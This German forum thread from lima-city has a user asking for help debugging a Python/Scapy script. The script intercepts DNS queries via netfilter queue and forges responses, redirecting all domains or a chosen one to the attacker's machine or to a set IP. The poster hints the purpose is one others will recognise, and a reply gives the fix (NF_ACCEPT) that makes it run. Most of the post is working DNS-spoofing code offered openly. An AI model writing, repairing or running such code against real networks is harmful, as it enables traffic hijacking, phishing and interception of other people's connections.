Python Scapy DNS
lima-city → Forum → Programmiersprachen → Python
all
code
dank
domain
eingehen
fehler
fehlermeldung
info
jemand
machen
not
problem
route
sport
vermutung
zweck
-
Hi ich habe ein Problem mit Python und Scapy. In der Fehlermeldung steht nur ein intend error.. Vielleicht sieht hier jemand einen Fehler ich kann ihn leider nicht genau finden.
def spoofed_pkt(payload, pkt, rIP): spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP)) payload.set_verdict_modified(nfqueue.ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) print '[info] dns req nach %s' % pkt[DNSQR].qname[:-1]
Eventuell ist auch hier irgendein Fehler unterlaufen :S Ist aber nur eine Vermutung.
def callback(payload): data = payload.get_data() pkt = IP(data) localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0] if not pkt.haslayer(DNSQR): payload.set_verdict(nfqueue.ACCEPT) else: if arg_parser().spoofall: if not arg_parser().redirectto: spoofed_pkt(payload, pkt, localIP) else: spoofed_pkt(payload, pkt, arg_parser().redirectto) if arg_parser().domain: if arg_parser().domain in pkt[DNS].qd.qname: if not arg_parser().redirectto: spoofed_pkt(payload, pkt, localIP) else: spoofed_pkt(payload, pkt, arg_parser().redirectto)
Ich will hier nicht zu sehr darauf eingehen, was das Script macht jeder der den Fehler erkennt, erkennt auch den Zweck des Scripts. LG und danke schonmal -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
Statt
nfqueue.ACCEPT
sollte es
nfqueue.NF_ACCEPT
sein. mfg
Beitrag zuletzt geändert: 6.11.2015 19:28:51 von zarat -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage